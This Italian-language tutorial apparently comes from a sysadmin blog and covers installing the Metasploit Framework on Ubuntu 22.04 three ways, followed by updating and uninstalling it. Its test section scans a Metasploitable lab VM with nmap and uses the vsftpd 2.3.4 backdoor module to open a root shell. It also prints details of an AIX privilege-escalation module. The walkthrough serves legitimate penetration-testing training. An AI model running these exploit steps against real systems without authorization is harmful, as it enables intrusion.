Ricerca nel sito web

Come installare Metasploit Framework su Ubuntu 22.04


In qualità di amministratore di rete, è importante eseguire la scansione delle vulnerabilità della sicurezza e risolverle il prima possibile. Metasploit è un framework open source che aiuta a identificare minacce e vulnerabilità. Trova e sfrutta le vulnerabilità nei sistemi informatici, nelle reti e nelle applicazioni. Consente ai professionisti della sicurezza di simulare attacchi nel mondo reale e testare il livello di sicurezza della tua organizzazione. Viene fornito con molti exploit e ti consente anche di crearne uno tuo.

In questo tutorial imparerai come installare il framework Metasploit ed eseguire test di base su un sistema Ubuntu 22.04.

Prerequisiti

    Una macchina con Ubuntu 22.04 con un minimo di 4 GB di RAM.

    Un utente non root con privilegi sudo.

    Il semplice Firewall (UFW) è abilitato e funzionante.

    Tutto è aggiornato.

    $ sudo apt update && sudo apt upgrade
    

    Pochi pacchetti di cui il tuo sistema ha bisogno.

    $ sudo apt install wget curl nano ufw software-properties-common dirmngr apt-transport-https gnupg2 ca-certificates lsb-release ubuntu-keyring unzip -y
    

    Alcuni di questi pacchetti potrebbero essere già installati sul tuo sistema.

Passaggio 1: installare Nmap

Uno degli strumenti più comuni richiesti da Metasploit è Nmap che sfortunatamente non è incluso nel sorgente. Possiamo installarlo utilizzando il suo codice sorgente oppure possiamo installare il binario che è una versione abbastanza aggiornata disponibile. Utilizzeremo il repository dei pacchetti Ubuntu per installare il binario Nmap.

$ sudo apt install -y nmap

Ti mostreremo tre modi per installare Metasploit. Il primo modo è utilizzare lo script della shell del programma di installazione notturno. Il secondo modo è installarlo compilando il codice sorgente. Il terzo modo è prendere direttamente il pacchetto Deb e usarlo per installare Metasploit. Qualunque sia il modo in cui lo usi, dovrai prima installare Nmap perché non viene fornito con Metapsploit.

Passaggio 2: installare Metasploit utilizzando Nightly Installer

Installare Metasploit è abbastanza semplice utilizzando lo script di installazione notturna. Viene fornito con Ruby e PostgreSQL 9.2 e si integra con il gestore di pacchetti APT.

Crea una directory temporanea per scaricare lo script di installazione di Metasploit e passa ad essa.

$ mkdir msf-install && cd ./msf-install

Scarica lo script di installazione e rinomina il file in msfinstall.

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

Imposta l'autorizzazione 755 sullo script.

$ chmod 755 msfinstall

Esegui lo script.

$ sudo ./msfinstall

Lo script importerà prima la chiave di firma dai server Metasploit, quindi copierà l'indirizzo del repository per Metasploit nella directory /etc/apt/sources.list.d/ e infine scaricherà e installerà il pacchetto Metasploit utilizzando APT e imposta la variabile PATH per esso.

Esegui lo script della console Metasploit per avviare.

$ cd ~
$ msfconsole

La prima volta che utilizzi lo script, verrà avviata la procedura guidata di installazione e ti verrà chiesto se desideri creare un nuovo database.

 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.


Would you like to use and setup a new database (recommended)? y

Digita y e quindi premi il tasto Invio per procedere. Questo creerà un database e memorizzerà i suoi dati nella directory ~/.msf4/db.

Running the 'init' command for the database:
Creating database at /home/navjot/.msf4/db
Creating db socket file at /tmp
Starting database at /home/navjot/.msf4/db...server starting
success
Creating database users
Writing client authentication configuration file /home/navjot/.msf4/db/pg_hba.conf
Stopping database at /home/navjot/.msf4/db
Starting database at /home/navjot/.msf4/db...server starting
success
Creating initial database schema
Database initialization successful

 ** Metasploit Framework Initial Setup Complete **

Verrai quindi indirizzato alla console Metasploit che dovrebbe assomigliare a quanto segue.

Metasploit tip: Use the analyze command to suggest runnable modules for
hosts
                                                  
               .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,
        'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
   lWMMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMMMo
  xMMMMMMMMMMWd.               .oNMMMMMMMMMMk
 oMMMMMMMMMMx.                    dMMMMMMMMMMx
.WMMMMMMMMM:                       :MMMMMMMMMM,
xMMMMMMMMMo                         lMMMMMMMMMO
NMMMMMMMMW                    ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX                     ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW.                      ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd                        ,0MMMMMMMMMMK;
.WMMMMMMMMMc                         'OMMMMMM0,
 lMMMMMMMMMMk.                         .kMMO'
  dMMMMMMMMMMWd'                         ..
   cWMMMMMMMMMMMNxc'.                ##########
    .0MMMMMMMMMMMMMMMMWc            #+#    #+#
      ;0MMMMMMMMMMMMMMMo.          +:+
        .dNMMMMMMMMMMMMo          +#++:++#+
           'oOWMMMMMMMMo                +:+
               .,cdkO0K;        :+:    :+:                                
                                :::::::+:
                      Metasploit

       =[ metasploit v6.4.1-dev-                          ]
+ -- --=[ 2405 exploits - 1239 auxiliary - 422 post       ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

Controlla lo stato del database.

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

Ciò conferma che è correttamente connesso al database PostgreSQL e funziona correttamente.

Uscire dalla console.

msf6 > exit

Passaggio 3: installa Metasploit utilizzando il codice sorgente

Installa i prerequisiti

Installa i pacchetti richiesti da Metasploit.

$ sudo apt install -y autoconf bison build-essential gpgv2 libaprutil1 libgmp3-dev libpcap-dev libpq-dev libreadline-dev libsqlite3-dev libssl-dev locate libsvn1 libtool libxml2-dev libxslt1-dev libyaml-dev libncurses-dev xsel zlib1g-dev

Installa Git. Potrebbe essere già disponibile sul tuo server.

$ sudo apt install -y git

Installa PostgreSQL

Installa PostgreSQL. Ubuntu 22.04 viene fornito con PostgreSQL 14 per impostazione predefinita, che è ciò che utilizzeremo.

$ sudo apt install -y postgresql postgresql-contrib

Controlla lo stato del servizio PostgreSQL.

$ sudo systemctl status postgresql

Dovresti vedere il seguente output che conferma che PostgreSQL è in esecuzione.

? postgresql.service - PostgreSQL RDBMS
     Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled)
     Active: active (exited) since Mon 2024-04-01 14:22:31 UTC; 7s ago
    Process: 5984 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
   Main PID: 5984 (code=exited, status=0/SUCCESS)
        CPU: 1ms

Apr 01 14:22:31 metasploit systemd[1]: Starting PostgreSQL RDBMS...
Apr 01 14:22:31 metasploit systemd[1]: Finished PostgreSQL RDBMS.

Configura PostgreSQL

Passa all'utente PostgreSQL.

$ sudo -i -u postgres

Crea un ruolo PostgreSQL per Metasploit. Ti verrà richiesto di impostare una password.

$ createuser msfuser -S -R -P

Crea un database PostgreSQL per Metasploit e imposta il proprietario sull'utente che abbiamo creato.

$ createdb msfdb -O msfuser

Esci dall'account PostgreSQL.

$ exit

Apri il file /etc/postgresql/14/main/pg_hba.conf per modificarlo.

$ sudo nano /etc/postgresql/14/main/pg_hba.conf

Aggiungi la seguente riga sotto la riga host all all 127.0.0.1/32 scram-sha-256.

....
host    all             all             127.0.0.1/32            scram-sha-256
host    "msfdb"         "msfuser"       127.0.0.1/32            md5

Salva il file premendo Ctrl + X e inserendo Y quando richiesto una volta terminato.

Installa Ruby Version Manager (RVM)

Metasploit richiede Ruby per l'installazione. Utilizzeremo Ruby Version Manager (RVM) per installare Ruby e Gems.

Importa la chiave GPG RVM.

$ gpg2 --keyserver hkp://keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB

Utilizza curl per scaricare lo script di installazione RVM.

$ \curl -sSL https://get.rvm.io -o rvm.sh

Installa la versione stabile di RVM.

$ cat rvm.sh | bash -s stable

Origina gli script RVM dalla directory in cui sono stati installati.

$ source ~/.rvm/scripts/rvm

Scarica Metasploit

Passa alla directory home.

$ cd ~

Scarica il codice sorgente di Metasploit da GitHub.

$ git clone https://github.com/rapid7/metasploit-framework.git

Passa alla directory Metasploit.

$ cd metasploit-framework

Vedrai le seguenti istruzioni quando passi alla directory.

Required ruby-3.0.5 is not installed.
To install do: 'rvm install "ruby-3.0.5"'

Questo menziona che la versione Ruby richiesta dal framework Metasploit è 3.0.5. Puoi anche confermarlo eseguendo il comando seguente.

$ cat .ruby-version
3.0.5

Installa Ruby

Questa è la parte in cui diventa complicato. Ubuntu 22.04 supporta OpenSSL 3 mentre Ruby 3.0.x funziona solo con OpenSSL 1.1. Ciò significa che non possiamo installarlo nel solito modo. La soluzione migliore è scaricare il codice sorgente per OpenSSL 1.1, compilarlo e utilizzarlo per installare Ruby. Ciò non influirà su nessun'altra applicazione sul tuo server.

Prendi OpenSSL 1.1. Puoi controllare l'ultima versione disponibile dalla pagina dei sorgenti di OpenSSL 1.1.

$ wget https://www.openssl.org/source/old/1.1.1/openssl-1.1.1w.tar.gz

Estrai l'archivio scaricato.

$ tar zxf openssl-1.1.1w.tar.gz

Passa alla directory estratta.

$ cd openssl-1.1.1w

Configura la sorgente.

$ ./config --prefix=$HOME/.openssl/openssl-1.1.1w --openssldir=$HOME/.openssl/openssl-1.1.1w

Esegui il comando make.

$ make

Esegui nuovamente il comando make per eseguire i test.

$ make tests

Installa OpenSSL 1.1.1w.

$ make install

Configura la directory dei certificati SSL in modo che punti alla directory /etc/ssl/certs e rimuova quella originale.

$ rm -rf ~/.openssl/openssl-1.1.1w/certs
$ ln -s /etc/ssl/certs ~/.openssl/openssl-1.1.1w/certs

Torna alla directory Metasploit.

$ cd ~/metasploit-framework

Installa Ruby.

$ rvm install "ruby-3.0.5" --with-openssl-dir=$HOME/.openssl/openssl-1.1.1w
Checking requirements for ubuntu.
Installing requirements for ubuntu.
Updating system
Installing required packages: libffi-dev, libgdbm-dev, libncurses5-dev, sqlite3.....
........................
Install of ruby-3.0.5 - #complete 
Ruby was built without documentation, to build it run: rvm docs generate-ri

Installa Metasploit

Passa alla directory Metasploit.

$ cd ~/metasploit-framework

Installa il bundler Gem.

$ gem install bundler

Installa le gemme di rubino necessarie.

$ bundle install

Avvia la console Metasploit.

$ ./msfconsole

Dovresti vedere un output simile.

Metasploit tip: You can use help to view all available commands
                                                  
 __________________ 
< Shells are cool. >
 ------------------ 
   \                                      
    \                                     
     \                                    
      \                                   
       \ ?????????                        
        ???????????                       
       ????????????                       
      ???????????????                     
     ??????????????????                   
   ?????????????????????                  
  ???????????????????????                 
  ???????????????????????                 
   ?????????????????????                  
????????????????????????      ??????      
 ??????????????????????     ????????????  
    ??????????????????     ?????????????? 
      ????????????????????????????????????
            ???????????????????   ????????
            ???????????????????   ?????? ?
             ??????????????????  ?? ????  
               ????????????????     ???   
               ??????  ?????????   ?      
              ???????   ????????          
              ???????   ?????????         
            ?????????   ?????????         
            ?????????   ??????????        
             ???????       ???????        
                                          


       =[ metasploit v6.4.2-dev-44ba1b5082                ]
+ -- --=[ 2408 exploits - 1240 auxiliary - 422 post       ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

Testare la connessione al database.

msf6 > db_status
[*] postgresql selected, no connection

Connettiti al database che abbiamo creato in precedenza.

msf6 > db_connect msfuser:[email :5432/msfdb
[*] Connected to Postgres data service: 127.0.0.1/msfdb

Verificare lo stato del database.

msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql. Connection name: local_db_service.

Uscire dalla console.

msf6 > exit

Configurare le impostazioni del database Metasploit

La connessione al database non persisterà durante l'utilizzo ripetuto della console Metasploit. Per renderlo permanente, dobbiamo salvarlo in un file nella directory ~/.msf4.

Crea un file database.yml nella directory ~/.msf4/.

$ touch ~/.msf4/database.yml

Aprilo per la modifica.

$ nano ~/.msf4/database.yml

Incolla al suo interno il seguente codice.

production:
  adapter: postgresql
  database: msfdb
  username: msfuser
  password: [PASSWORD]
  host: 127.0.0.1
  port: 5432
  pool: 75
  timeout: 5

Salva il file premendo Ctrl + X e inserendo Y quando richiesto una volta terminato.

Avvia nuovamente la console.

$ ./msfconsole

Controlla lo stato della connessione al database.

msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql.

Ciò conferma che Metasploit è connesso correttamente al database PostgreSQL.

Passaggio 4: installare Metasploit utilizzando il pacchetto binario

Visita la pagina del repository APT di Metasploit e prendi l'URL per l'ultimo pacchetto deb Metasploit dalla parte inferiore della pagina. Al momento della stesura di questo articolo, l'ultima versione disponibile era 6.4.1+20240326102606.

Scarica il pacchetto utilizzando il comando wget.

$ wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.1%2B20240326102606~1rapid7-1_amd64.deb

Installa il pacchetto.

$ sudo dpkg -i metasploit-framework_6.4.1+20240326102606~1rapid7-1_amd64.deb

Continua l'installazione eseguendo il comando della console Metasploit.

$ msfconsole

Continua nello stesso modo del passaggio 1 per completare l'installazione di Metasploit.

Passaggio 5: testare Metasploit

Il banner principale che ottieni all'avvio della console Metasploit può essere fastidioso e può essere disattivato utilizzando l'opzione -q.

$ msfconsole -q

In questo modo verrai portato direttamente alla console.

msf6 >

Per elencare tutti i comandi disponibili, esegui help sulla console.

msf6 > help

Otterrai il seguente output.

Core Commands
=============

    Command           Description
    -------           -----------
    ?                 Help menu
    banner            Display an awesome metasploit banner
    cd                Change the current working directory
    color             Toggle color
    connect           Communicate with a host
    debug             Display information useful for debugging
    exit              Exit the console
    features          Display the list of not yet released features that can be opted in to
    get               Gets the value of a context-specific variable
    getg              Gets the value of a global variable
    grep              Grep the output of another command
    help              Help menu
    history           Show command history
    load              Load a framework plugin
    quit              Exit the console
    repeat            Repeat a list of commands
    route             Route traffic through a session
    save              Saves the active datastores
    sessions          Dump session listings and display information about sessions
    set               Sets a context-specific variable to a value
    setg              Sets a global variable to a value
    sleep             Do nothing for the specified number of seconds
    spool             Write console output into a file as well the screen
    threads           View and manipulate background threads
    tips              Show a list of useful productivity tips
    unload            Unload a framework plugin
    unset             Unsets one or more context-specific variables
    unsetg            Unsets one or more global variables
    version           Show the framework and console library version numbers
.........................................................................

Per elencare tutti gli exploit disponibili, esegui il comando seguente.

msf6 > show exploits

Dovresti ottenere un output simile.

Metasploit fornisce anche documentazione specifica dello strumento tramite il seguente comando. Puoi usarlo per saperne di più su come funziona un particolare exploit. Esamineremo come funziona l'exploit xorg_x11_server.

msf6 > info xorg_x11_server

Otterrai il seguente output.

msf6 > info exploit/aix/local/xorg_x11_server

       Name: Xorg X11 Server Local Privilege Escalation
     Module: exploit/aix/local/xorg_x11_server
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2018-10-25

Provided by:
  Narendra Shinde
  Zack Flack <[email >

Module side effects:
 config-changes

Available targets:
      Id  Name
      --  ----
      0   IBM AIX Version 6.1
  =>  1   IBM AIX Version 7.1
      2   IBM AIX Version 7.2

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  SESSION                       yes       The session to run this module on
  WritableDir  /tmp             yes       A directory where we can write files

Payload information:

Description:
  WARNING: Successful execution of this module results in /etc/passwd being overwritten.

  This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.

  A permission check flaw exists for -modulepath and -logfile options when
  starting Xorg.  This allows unprivileged users that can start the server
  the ability to elevate privileges and run arbitrary code under root
  privileges.

  This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
  Due to permission restrictions of the crontab in AIX, this module does not use cron,
  and instead overwrites /etc/passwd in order to create a new user with root privileges.
  All currently logged in users need to be included when /etc/passwd is overwritten,
  else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
  The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
  and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
  overwriting /etc/passwd.

...................................

Usiamo Metasploit per controllare le porte aperte su una macchina infetta. Per il nostro tutorial utilizzeremo la macchina virtuale Metasploitable. È una macchina di prova che puoi utilizzare per scopi di apprendimento. Stiamo utilizzando Metasploitable 2 che viene fornito con un disco rigido VirtualBox scaricabile che puoi utilizzare per configurare una macchina virtuale che è ciò che stiamo utilizzando per eseguire i nostri test. Puoi anche Metasploitable 3 che è una macchina VirtualBox basata su Vagrant che richiederà un diverso tipo di installazione.

Utilizza lo strumento Nmap per scansionare le porte aperte.

msf6 > nmap -sV 192.168.31.36

Dovresti vedere un output simile a seconda della macchina che stai ispezionando.

msf6 > nmap -sV 192.168.31.36
[*] exec: nmap -sV 192.168.31.36

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 12:23 IST
Nmap scan report for 192.168.31.36
Host is up (0.0046s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.57 seconds

Ora che abbiamo un elenco di porte aperte da sfruttare, utilizziamone una. Utilizzeremo il servizio vsftpd per sfruttare. Prima di farlo, cerchiamolo nella nostra lista degli exploit per saperne di più.

msf6 > search vsftpd

Riceverai il seguente output.

msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

Successivamente, possiamo semplicemente copiare il nome dell'exploit e utilizzarlo utilizzando il seguente comando. Questo comando ci consente di entrare nell'exploit.

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

Otterrai il seguente output.

[*] No payload configured, defaulting to cmd/unix/interact

Il prompt della console cambierà come segue.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Successivamente, utilizza il comando show options per verificare i requisiti dell'exploit.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Otterrai il seguente output.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.

Qui puoi vedere le impostazioni attuali per alcune variabili. RHOSTS nell'output specifica l'IP degli host remoti e RPORT si riferisce a una porta host remoto. Imposta l'IP dell'host remoto affinché questo exploit funzioni. Questo gli dirà quale macchina prendere di mira.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.36
RHOSTS => 192.168.31.36

Ora che l'IP dell'host remoto è configurato, possiamo procedere con l'hacking. Esegui il comando exploit e attendi che l'hacking vada avanti.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Dovresti vedere il seguente output.

[*] 192.168.31.36:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.31.36:21 - USER: 331 Please specify the password.
[+] 192.168.31.36:21 - Backdoor service has been spawned, handling...
[+] 192.168.31.36:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.31.10:46765 -> 192.168.31.36:6200) at 2024-04-03 12:37:46 +0530

Dovresti essere in grado di digitare qualsiasi comando e funzionerà sul sistema di destinazione confermando l'hacking. Per confermare, usa il comando ifconfig per ottenere i dettagli di rete.

ifconfig

Otterrai il seguente output che mostra che l'output proviene dal computer di destinazione, il che significa che il nostro exploit ha funzionato.

eth0      Link encap:Ethernet  HWaddr 08:00:27:88:8d:ae
          inet addr:192.168.31.36  Bcast:192.168.31.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe88:8dae/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1671 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1529 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:145408 (142.0 KB)  TX bytes:142342 (139.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:274 errors:0 dropped:0 overruns:0 frame:0
          TX packets:274 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:109881 (107.3 KB)  TX bytes:109881 (107.3 KB)

Questa è solo una delle cose che Metasploit può fare. Puoi fare molto di più usandolo per trovare vulnerabilità e scoprire quali delle tue macchine sono aperte e vulnerabili agli attacchi e correggerle.

Passaggio 6: aggiornare Metasploit

Metasploit viene fornito con il suo script di aggiornamento. Se hai installato utilizzando i passaggi 2 e 4, esegui semplicemente il comando seguente per aggiornare Metasploit.

$ sudo msfupdate

Inoltre, gli stessi due metodi configurano il repository APT in modo che non sia necessario eseguire lo script. Ogni volta che esegui sudo apt update && sudo apt upgrade, Metasploit verrà aggiornato.

Se hai installato Metasploit dal codice sorgente, dovrai aggiornarlo manualmente. Passa alla directory del framework Metasploit.

$ cd ~/metasploit-framework

Innanzitutto, imposta alcune variabili per Git. Questo è solo un processo una tantum.

$ git config --global user.name "YourName"
$ git config --global user.email "[email "

Ora puoi eseguire gli aggiornamenti utilizzando il seguente comando.

$ ./msfupdate

Per evitare di eseguire questo comando ancora e ancora, puoi impostare un processo cron per aggiornarlo automaticamente. Esegui il comando seguente per avviare l'editor Crontab.

$ crontab -e

Ti verrà chiesto quale editor utilizzare.

no crontab for navjot - using an empty one

Select an editor.  To change later, run 'select-editor'.
  1. /bin/nano        <---- easiest
  2. /usr/bin/vim.basic
  3. /usr/bin/vim.tiny
  4. /bin/ed

Choose 1-4 [1]: 1

Scegli 1 se desideri utilizzare l'editor nano. Questo è ciò che useremo.

Successivamente, incolla il seguente codice per abilitare gli aggiornamenti automatici per Metasploit.

0 1 * * * /home/<username>/metasploit-framework/msfupdate > /dev/null 2>&amp;1

Questo eseguirà lo script di aggiornamento ogni giorno all'1 di notte. Salva il file premendo Ctrl + X e inserendo Y quando richiesto una volta terminato.

Questo è tutto. Ciò manterrà il tuo Metasploit aggiornato senza alcun intervento.

Passaggio 7: disinstallare Metasploit

Se hai installato Metasploit utilizzando i passaggi 2 o 4, per rimuovere Metasploit è sufficiente eseguire il comando seguente.

$ sudo apt autoremove --purge metasploit-framework

Tuttavia, se lo hai installato utilizzando il codice sorgente, per rimuovere Metasploit dovrai eseguire una serie di comandi.

$ rm -Rf ~/.rvm
$ rm -Rf ~/.gem
$ rm -f ~/.gemrc
$ rm -Rf ~/.bundle
$ rm -f ~/rvm.sh
$ rm -rf ~/.local/share/gem

Apri il file .bashrc per modificarlo.

$ nano ~/.bashrc

Rimuovere la riga seguente dalla fine del file.

# Add RVM to PATH for scripting. Make sure this is the last PATH variable change.
export PATH="$PATH:$HOME/.rvm/bin"

Ultimo ma non meno importante, rimuovi PostgreSQL se non ti serve.

Salva il file premendo Ctrl + X e inserendo Y quando richiesto una volta terminato.

Apri .bash_profile per la modifica.

$ nano ~/,bash_profile

Rimuovere le seguenti righe dalla fine del file.

[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*

Salva il file premendo Ctrl + X e inserendo Y quando richiesto una volta terminato.

Apri il file .profile per la modifica.

$ nano ~/.profile

Rimuovere il codice seguente dalla parte inferiore del file.

# Add RVM to PATH for scripting. Make sure this is the last PATH variable change.
export PATH="$PATH:$HOME/.rvm/bin"

[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*

Salva il file premendo Ctrl + X e inserendo Y quando richiesto una volta terminato.

Origina i file per ricaricare le modifiche.

$ source ~/.bashrc
$ source ~/.bash_profile
$ source ~/.profile

Rimuovi le directory Metasploit.

$ rm -rf ~/metasploit-framework
$ rm -rf ~/.msf4

Disinstalla PostgreSQL se non ti serve più.

$ sudo apt autoremove --purge postgresql postgresql-contrib

Disinstallare OpenSSL 1.1.1. I seguenti comandi disinstalleranno il pacchetto, puliranno la directory e rimuoveranno l'archivio scaricato.

$ cd ~/openssl-1.1.1w
$ make uninstall
$ cd ~/
$ rm -rf ./openssl-1.1.1w
$ rm openssl-1.1.1w.tar.gz

Conclusione

Si conclude così il nostro tutorial sull'installazione del framework Metasploit su un sistema Ubuntu 22.04 e su come eseguire alcune operazioni di base. Se avete domande, pubblicatele nei commenti qui sotto.

Articoli correlati: